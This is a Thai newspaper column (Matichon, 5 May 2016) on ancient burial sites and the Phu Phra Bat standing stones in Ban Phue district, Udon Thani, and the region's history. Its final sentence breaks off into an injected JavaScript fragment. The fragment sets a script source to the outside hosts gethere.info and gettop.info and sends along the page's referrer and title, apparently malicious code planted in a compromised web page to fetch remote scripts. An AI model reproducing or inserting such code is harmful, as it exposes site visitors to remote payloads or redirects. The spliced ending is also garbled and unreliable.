มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 5 พฤษภาคม 2559

 

สุสานเผานั่งยาง บ้านผือ (อุดรฯ)

เป็นแอ่งอารยธรรมสยาม

 

          สุสานเผานั่งยาง 23 จุด ในเขตป่าสงวนแห่งชาติ ป่ากุดจับ ต. หนองแวง อ. บ้านผือ จ. อุดรธานี สะท้อนลักษณะสังคมที่ไม่ปลอดภัยอย่างยิ่งจากโครงสร้างอำนาจดิบ

          พื้นที่ อ. บ้านผือ เป็นที่ราบสูงเชิงเขาภูพาน (ปลายด้านตะวันตก) มีภูเขาเตี้ยๆ กระจัดกระจายทั่วไป จึงมีหลักแหล่งของคนอยู่อาศัยตั้งแต่ยุคก่อนประวัติศาสตร์ ราว 3,000 ปีมาแล้ว (ยุคเดียวกับบ้านเชียง) ต่อเนื่องถึง จ. หนองบัวลำภู และ จ. หนองคาย

          [ผือ เป็นชื่อพืชชนิดหนึ่ง ภาคกลางเรียก ปรือ เป็นไม้เกิดในที่ลุ่มน้ำท่วมขัง ต้นสามเหลี่ยม นิยมใช้ทำสาด (ทอเสื่อ) เรียกสาดผือ]

          ทิวเขาภูพานเป็นแหล่งทรัพยากรสำคัญ เช่น สมุนไพร, น้ำ ฯลฯ เป็นต้นน้ำโมง ไหลขึ้นทางเหนือ ผ่าน อ. ท่าบ่อ จ. หนองคาย ลงแม่น้ำโขง

          อ. บ้านผือ เป็นแอ่งอารยธรรมสำคัญของชาวสยามดึกดำบรรพ์ เช่น ภูพระบาท (ที่ไทยกำลังส่งข้อมูลขอเป็นมรดกโลก แต่ยังไม่ผ่านการรับรอง)

หินตั้งดั้งเดิมในศาสนาผี ถูกแปลงเป็นเสมาหินในศาสนาพุทธ บริเวณอุทยานประวัติศาสตร์ภูพระบาท อ. บ้านผือ จ. อุดรธานี

หินตั้งดั้งเดิมในศาสนาผี ถูกแปลงเป็นเสมาหินในศาสนาพุทธ บริเวณอุทยานประวัติศาสตร์ภูพระบาท อ. บ้านผือ จ. อุดรธานี

 

          ภูพระบาทเป็นชื่อภูเขาเตี้ยๆ ในเขต อ. บ้านผือ มีรอยพระพุทธบาท 2 แห่ง คือ พระบาทบัวบาน กับ พระบาทบัวบก

          มีผู้คนตั้งหลักแหล่งอยู่อาศัยโดยรอบบริเวณภูพระบาท ราว 2,500 ปีมาแล้ว มีหลักฐานโบราณคดีสำคัญคือ หินตั้ง เป็นแท่งหินปักบอกเขตสถานที่ศักดิ์สิทธิ์ในศาสนาผี

          ราวหลัง พ.ศ. 1000 พุทธศาสนาแพร่หลายมาถึงบริเวณนี้ หินตั้งก็ถูกปรับเปลี่ยนจากศาสนาผี ให้เป็นเสมาหินในศาสนาพุทธ

          เขตภูพระบาท (อ. บ้านผือ จ. อุดรฯ) เป็นพื้นที่ศักดิ์สิทธิ์ของรัฐเวียงจัน ซึ่งเดินทางติดต่อโดยลำน้ำโมง

          [เวียงจันเป็นรัฐเก่าแก่ยุคทวารวดี ร่วมสมัยกับรัฐหลั่งยะสิว (นครปรามโบราณ) เป็นศูนย์กลางของขบวนแห่ชาวสยาม (เสียมกุก) ที่ปราสาทนครวัด]

          บริเวณเชิงเขาโดยรอบภูพระบาท เคยเป็นหลักแหล่งของเชื้อวงศ์ล้านช้างเวียงจัน มีนิทานตำนานเรื่องเจ้าปางคำกับพระครูโพนสะเม็กยอดแก้ว (ยาคูขี้หอม)

          ปัจจุบันบริเวณรอบเชิงภูพระบาท เป็นชุมชนชาวพวน (จากเชียงขวาง) ที่ถูกกวาดต้อนมาอยู่บริเวณนี้ตั้งแต่ยุคปลายอยุธยา ถึงต้นกรุงรัตนโกสินทร์s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;